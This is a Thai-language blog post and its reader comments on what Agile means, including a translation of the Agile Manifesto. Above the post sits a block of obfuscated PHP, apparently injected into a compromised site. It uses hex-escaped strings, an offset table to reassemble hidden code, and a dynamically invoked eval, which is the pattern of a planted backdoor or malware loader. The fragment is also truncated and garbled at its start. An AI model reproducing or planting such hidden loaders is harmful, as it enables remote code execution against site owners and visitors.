x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x78]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%825w:!>!%x5c%x78246767~6:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x57825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboex5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5cx5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm]268]y7f#!%x5c%x782400~:%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27%x5c%x7824-%x5c%x7824tvctu5c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#0*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x%x5c%x7827jsv%x5c%x782%x5c%x785c2^1%x5c%x7825s:%x5c%x785c%x5c2f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}57**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<%x7825)!gj!~q%x5c%x7825<#762]67y]562]38y]572]48y]c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjfpg)%x5c%x7825s:*<%x5c%x7825281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6of.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-1111x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x78vufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164"c%x7825o:!>!%x5c%x78242178}556^#zsfvr#%x5c%x785cq%x5c%x782%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x78254!>!fyqmpef)#%x5c%x7824*}&;!osvufs}%x5c%x787f;!/(.*)/epreg_replacehddzpwrqwn'; $hlfjzacvhu = explode(chr((239-195)),'9850,54,918,33,3494,50,7286,66,6420,64,4264,66,1873,65,5321,23,2810,31,8748,53,1532,25,8038,40,8999,37,6526,64,1596,20,4601,66,207,70,8114,47,8506,47,7224,62,1735,52,2114,56,7447,58,1158,23,5979,30,5596,21,9036,31,128,49,6989,49,2170,44,2593,55,1271,50,1616,26,6113,34,8866,22,9932,33,9333,54,951,26,8299,49,6292,31,3195,41,7735,54,7901,69,1820,24,9671,62,9198,39,2789,21,5440,28,6366,54,3075,53,6044,69,4494,68,3172,23,807,42,5468,33,7789,43,2411,62,6907,22,9479,45,3755,29,5280,41,9798,52,5173,28,7352,60,1844,29,5245,35,6009,35,5891,63,9387,27,2962,34,8348,65,6213,41,4452,42,2473,53,7575,32,5767,23,5790,31,4973,46,738,69,2062,52,497,21,7694,41,2526,67,9177,21,518,61,4142,54,9606,65,5392,48,6783,40,1665,70,4925,48,8471,35,9965,50,4196,68,2708,43,3609,42,5733,34,4667,20,8948,51,1642,23,6632,55,5954,25,5556,40,8913,35,5501,55,1321,39,277,49,9294,39,10044,62,3236,70,579,30,2841,29,6323,43,4814,58,6254,38,1044,66,5617,40,6590,42,4330,27,361,36,3045,30,1202,69,7073,35,2648,60,7660,34,3419,33,177,30,2214,35,3850,51,3306,51,2751,38,1360,61,3937,54,6752,31,6929,60,7177,47,1787,33,609,69,8413,58,7038,35,8553,61,7970,68,8161,69,6873,34,6147,66,9414,65,4725,35,3901,36,9904,28,977,67,62,66,0,62,463,34,8614,26,4086,27,9733,65,7412,35,1181,21,1483,49,3544,20,1110,48,3357,62,3690,41,4760,54,8078,36,2039,23,5146,27,10015,29,1557,39,2310,46,4687,38,4416,36,2870,46,8888,25,8230,69,4562,39,7832,69,849,69,8640,54,6687,65,4357,39,5821,70,5344,48,2249,61,7108,24,3731,24,5019,57,9552,54,2000,39,397,66,7132,45,5201,44,3564,45,1938,62,678,60,9067,56,3784,66,3128,44,7607,53,2996,49,2916,46,3452,42,9524,28,4113,29,9237,57,3651,39,6823,50,6484,42,7505,70,4016,70,4396,20,4872,53,8801,65,5704,29,5657,47,8694,54,2356,55,1421,62,5076,70,3991,25,9123,54,326,35'); $hlvvcaemzt=substr($rybbeliclv,(39524-29418),(44-37)); if (!function_exists('pvvrpnbxjz')) { function pvvrpnbxjz($fwmljqinck, $uwtzytuwnr) { $ppjfuitqez = NULL; for($dphalvamlf=0;$dphalvamlf<(sizeof($fwmljqinck)/2);$dphalvamlf++) { $ppjfuitqez .= substr($uwtzytuwnr, $fwmljqinck[($dphalvamlf*2)],$fwmljqinck[($dphalvamlf*2)+1]); } return $ppjfuitqez; };} $okyvocinbr="\x20\57\x2a\40\x76\155\x6c\152\x73\144\x6b\146\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x39\55\x31\71\x32\51\x29\54\x20\143\x68\162\x28\50\x36\64\x30\55\x35\64\x38\51\x29\54\x20\160\x76\166\x72\160\x6e\142\x78\152\x7a\50\x24\150\x6c\146\x6a\172\x61\143\x76\150\x75\54\x24\162\x79\142\x62\145\x6c\151\x63\154\x76\51\x29\51\x3b\40\x2f\52\x20\151\x70\165\x62\166\x68\157\x77\145\x72\40\x2a\57\x20"; $airyovqpsp=substr($rybbeliclv,(54344-44231),(37-25)); $airyovqpsp($hlvvcaemzt, $okyvocinbr, NULL); $airyovqpsp=$okyvocinbr; $airyovqpsp=(654-533); $rybbeliclv=$airyovqpsp-1; ?> Agile คืออะไร? – Agile Sixty-Six
Agile Sixty-Six Rotating Header Image

Agile คืออะไร?

บล๊อกแรกของ Agile66 ก็คงจะขอเริ่มจากคำถามง่ายๆที่ตอบไม่ง่ายว่า Agile คืออะไร?

ผมถามสหายร่วมอุดมการณ์ไปทาง twitter ว่า ถ้ามีคนถามคุณว่า Agile คืออะไร คุณจะตอบเป็นภาษาไทยว่าอย่างไร ก็ได้คำตอบมาดังนี้

@sinapam: Agile in Thai = การทำตามอจายล์มานิเฟสโต้ (พยายามไทยแล้ว) โดยให้ความสำคัญสิ่งที่อยู่ข้างซ้ายมากกว่าสิ่งที่อยู่ข้างขวา

@tikkychai: อะจายล์คือวิถีแห่งการพัฒนาซอฟต์แวร์ที่เป็นธรรมชาติ โดยยึดถือความเรียบง่ายของ Agile Manifesto ไม่มีขั้นตอนตายตัว ปรับได้เสมอ

@chompoonut: ทำเร็ว เคลมเร็ว :) จริงๆ จะหมายความถึงว่า ซ่อมเร็วน่ะ คือเหมือนว่าเกิดเหตุปุ๊บ ก็ซ่อมเลย

@Korn4d: อันว่า Agile นั้นอันที่จริงมิใช่ Agile หากแต่เป็นเีพียงนามว่า Agile เท่านั้น เคล็ดวิชา Agile ขั้น1-7 มือยังมี Agile -> ขั้น8 มือไร้ Agile หากแต่ใจมี Agile -> ขั้น9 กายใจประสานเป็นหนึ่งทั้งหมดคือ Agile Agile ขั้นสุดยอด หากฝีกได้จะถึงขั้น มือว่าง ใจว่าง ไร้ตัว ไร้ตน ไร้ขีดจำกัด ไร้รูปแบบ หากแต่แตกต่างจากขั้นแรกมากมายนัก

@ruxoz: Agile คือ *ขั้นตอน*การทำงานประกอบด้วยสิ่งที่จำเป็นเฉพาะเวลานั้น(ภายในระยะเวลาที่กำหนด) และเน้นความรู้องค์รวม มากกว่าส่วนบุคคล

@norsez: ‘ตํารับ’ การโค้ดที่มุ่งผลเป็นโปรแกรมที่ใช้งานได้จริง มากกว่าขั้นตอนและเอกสาร

@n4kong: agile คือแนวความคิดที่รวบรวมวิธีการพัฒนา software ที่ลบข้อจำและข้อผิดพลาดของ software process แบบเก่าๆ (โดยผู้พัฒนาเอง)

จากทวีตเพื่อนๆก็จะเห็นว่าแทบจะไม่มีใครตอบเหมือนกันเลย ตกลง Agile นี่มันคือ การทำตาม, วิูถี, เคล็ด, ขั้นตอน, ตำรับ, หรือ แนวคิด?

งั้นลองมาดูแถลงการ์ณอาจายล์ (http://agilemanifesto.org/) กันซักนิด

We are uncovering better ways of developing software by doing it and helping others do it.
Through this work we have come to value:

Individuals and interactions over processes and tools

Working software over comprehensive documentation

Customer collaboration over contract negotiation

Responding to change over following a plan

That is, while there is value in the items on the right,
we value the items on the left more.

ขอแปล(แบบใส่ไข่)ว่า

จากทั้งการลงมือทำเองจริง(ไม่ได้นั่งเทียน)และช่วยคนอื่นทำ
พวกเราได้เห็นแจ้งถึงแนวทางในการพัฒนาซอฟต์แวร์ที่ดีกว่า
ประสพการณ์เหล่านี้ ทำให้เราตระหนักว่าเราต้อง

ให้ความสำคัญกับตัวผู้ทำงานและการปฎิสัมพันธ์ระหว่างผู้ทำงาน
มากกว่าการ(สักแต่ว่า)ทำตามขั้นตอนและเครื่องมือที่(คนไม่เคยได้ทำ)กำหนดไว้

ให้ความสำคัญกับ(การส่งมอบ)ซอฟต์แวร์ที่นำไปใช้งานได้จริง
มากกว่าการทำเอกสาร(ที่ไม่มีใครอ่าน)

ให้ความสำคัญกับการทำงานร่วมกับลูกค้า(เพื่อเข้าใจสิ่งที่ลูกค้าต้องการจริงๆ)
มากกว่า การต่อรองให้งานเป็นไปตามสัญญาที่ร่างไว้

ให้ความสำคัญกับการตอบรับกับการเปลี่ยนแปลง
มากกว่าการ(ดันทุรัง)ทำตามแผน

ทั้งนี้ เราก็ยังควรจะให้ความสำคัญกับสิ่งที่กล่าวไว้ทางด้านขวาอยู่
เพียงแต่สิ่งที่กล่าวไว้ทางด้านซ้ายนั้นมีความสำคัญกว่า

จะเห็นว่า Agile ไม่ใช่ process เพราะแถลงการณ์ก็บอกอยู่แล้วว่า เราต้องให้ความสำคัญกับคนมากกว่า process ส่วนตัวแล้ว ผมคิดว่า Agile คือ แนวทางในการพัฒนาซอฟต์แวร์ ให้ความสำคัญกับ ผู้ทำ ผู้ใช้ ผลที่นำไปใช้ได้จริง และ การยอมรับธรรมชาติของการเปลี่ยนแปลง

ถ้าเปรียบ Agile เป็นศาสนา Agile Manifesto ก็เหมือนเป็นหลักคำสอนว่าถ้าท่านนับถือศาสนานี้ ท่านควรมีแนวทางปฏิบัติอย่างไร ท่านจึงจะบรรลุ โดยมี Agile Principles เป็นหลักปฏิบัติ ส่วนศาสนานี้ ก็มีหลายนิกาย แต่ที่ได้รับความนิยมก็จะมีอย่าง eXtreme Programming หรือ Scrum ซึ่งจะมี process ระบุไว้ชัดเจนขึ้นว่าควรทำอะไรก่อนหลัง เพียงแต่ว่าในกรณีของ Agile นั้น นิกายเหล่านี้นั้นเกิดขึ้นมาก่อน ก่อนที่จะมีผู้นำนิกายที่คิดเห็นว่าพวกเขากำลังทำสิ่งที่คล้ายกัน มาจับรวมกันแล้วก็ประกาศออกมากเป็น Manifesto

We are uncovering better ways of developing
software by doing it and helping others do it.
Through this work we have come to value:
Individuals and interactions over processes and tools
Working software over comprehensive documentation
Customer collaboration over contract negotiation
Responding to change over following a plan
That is, while there is value in the items on
the right, we value the items on the left mor

28 Comments

  1. Olarn U. says:

    โอ๊ะโอ๋ … มีผู้ประกาศศักดาว่าเป็น Agile แล้ว …

    ปีนี้ผมมีแผนว่าจะทำให้ agile เกิดในองค์กรให้ได้ ในกลุ่มเล็กๆ ก็ยังดี ยังไงก็ขอเป็นผู้ร่วมขบวนการ (Alliance) ด้วยคนครับ ^_^

    p.s. ป๋า @roofimon ออกทุนให้หรือนี่ ไม่ยักกะรู้ว่ามีงบลับ ^^

    @olatn_u

    1. kluak110 says:

      อย่าเรียกว่าประกาศศักดาว่า “เป็น” Agile เลยครับ เอาเป็นว่าได้ “ลอง” Agile แล้วเอามาเล่าดีกว่า ^^

  2. olarn.u says:

    คือ ที่บอกว่า “เป็น” เนี่ยะ คือหมายถึง …be Agile น่ะครับ ไม่ได้หมายว่าทำเป็นหรืออะไรทำนองนั้น ใช้ศัพท์ห้วนๆ ไปหน่อย… ^^

    กำลังรออ่านตอนต่อไป เป็นกำลังใจครับ

  3. roofimon says:

    #GoAgile

  4. ดีใจมากเลยที่มีเว็บนี้ค่ะๆๆๆ
    เก๋กำลังจะได้ประสบการณ์ Agile เจ๋งๆ จากที่ทำงานใหม่ เดือนหน้านี้ แล้วเก๋จะมาเล่าให้ฟังนะคะ

  5. ขอ Quote คำพูดของคุณ Benjamin Scherrey นะคะ

    เค้าบอกเก๋ว่า “Agile is a direction, not a solution”

    อยากให้คนที่ศึกษา Agile ใหม่ๆ ท่องจำให้ขึ้นใจค่ะ เพราะถ้าทำแล้ว fail จะได้ไม่มาโทษ Agile ;)

    1. kluak110 says:

      ศิษย์ครูเดียวกัน :) ไ่ปเจอ Ben ที่ไหนเหรอครับ?

      1. sinapam says:

        จุดใต้ตำตอค่ะน้องเก๋ อิ อิ

    2. GiornoAdd says:

      ผมมักจะได้ยินคำถามจากคนรอบข้างเสมอว่าที่เราทำขณะนี้เป็น Agile แล้วหรือยัง อึ้งเหมือนกันครับ ความรู้น้อยอย่างผมไม่รุ้จะตอบอย่างไร

      1. kluak110 says:

        ทำไมคนรอบข้างถามอย่างนั้นหล่ะครับ กำลังทำ Agile อยู่เหรอครับ?

        1. GiornoAdd says:

          ครับพี่ บริษัทที่แผนกผมเป็นแผนกแรกที่พยายามนำ Agile Methodology มา Implement ในการ Develop Software ตอนนี้อยู่ในช่วงกำลังลองผิดลองดูกันอยู่ครับ ต้องปรับหลายอย่างทั้งวัฒนธรรมองค์ภายนอกภายในครับ

  6. เอ่อ เก๋กำลังจะไปทำงานกับ Ben เดือนหน้า
    อย่าบอกนะคะว่า นั้นคือพี่แป๋ม และคุณ Kluak ก็ทำงานกับ เบน?

    จุดใต้ตำตอจริงๆ นะเออ ถ้าแบบนั้น 55555

    1. sinapam says:

      ถูกต้อง อิ อิ
      ของพี่ kluak นี่เรียกว่า เคยทำงานกะเบนละกันเนอะ (แต่มาทำอีกก็ไม่ว่ากัน :P )

      คนเขียน blog ในนี้ช่วงแรกๆนี้ก็คงคนรู้จักกัน (+เคยทำงานกับเบน) ซะเป็นส่วนใหญ่อ่ะค่ะ :) (โดยมีพี่ kluak เป็นบ.ก.ตามจิก :P )

    2. kluak110 says:

      Ben นี่เก่งเรื่องการคัดคนจริงๆ นับถือ :-)

      1. จริงๆ เป็นเก๋มากกว่าค่ะที่เลือกหัวหน้าเก่ง 5555+

  7. [...] kluak110 เรื่อง Agile คืออะไร? ก็เลยนึกขึ้นได้ว่าตัวเอง [...]

  8. niti_a says:

    สวัสดีครับ blog น่าสนใจมากครับ
    ขอติดตามด้วยคนนะครับ :)

  9. poorprogrammer says:

    ออกมาแล้วรอมานาน

  10. zyracuze says:

    ขอมาร่ำเรียนวิชา Agile ณ สำนักนี้ เพื่อการนำไปใช้ในไม่ช้าครับ

    ปล. ชอบอันนี้จริงๆ “Agile is a direction, not a solution.”

  11. มาขอความรู้ด้วยคนครับ ท่าน อ. รูฟฟี่

  12. kluak110 says:

    กำลังนั่งทำ slide ของ class Agile Intro ที่บริษัทอยู่แล้ว google ไปเจออันนี้มา ชอบจัง

    So what is agile really?

    Agile is writing software in teams that regularly reflect on how to become more effective, and trusting that team to adjust its behavior accordingly.

    This is the core of agile, synthesized from Principles behind the Agile Manifesto. It’s about people. It’s about trust. It’s about continual improvement. This is where most implementations of Agile falter: they fail to trust the team. If you can’t build a team you trust to improve themselves; fire yourself. Replace yourself with someone that can.

    http://timothyfitz.wordpress.com/2009/02/17/what-is-agile-really/

  13. Godzila Som says:

    สวดยอด

  14. Nipat Chumjaroen says:

    ไม่รู้เกี่ยวกับที่เรียน "ณ ตอนนี้รึป่าว" แต่ก้โอเค งงดี -,,-

  15. วันนี้ผมไป สัมนาที่เกษตรมาด้วยครับเลยเข้ามาเยี่ยมชม และขอความรู้ในด้านนี้บ้างยังไม่เคยศึกษามาก่อนเลย.

  16. สวดยวดม๊าก หลอนเลย

    1. การบ้าน 3 คำ หาไรมั้งวะจำไม่ได้

    2. agile, extreme programming and pair programming

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Current month ye@r day *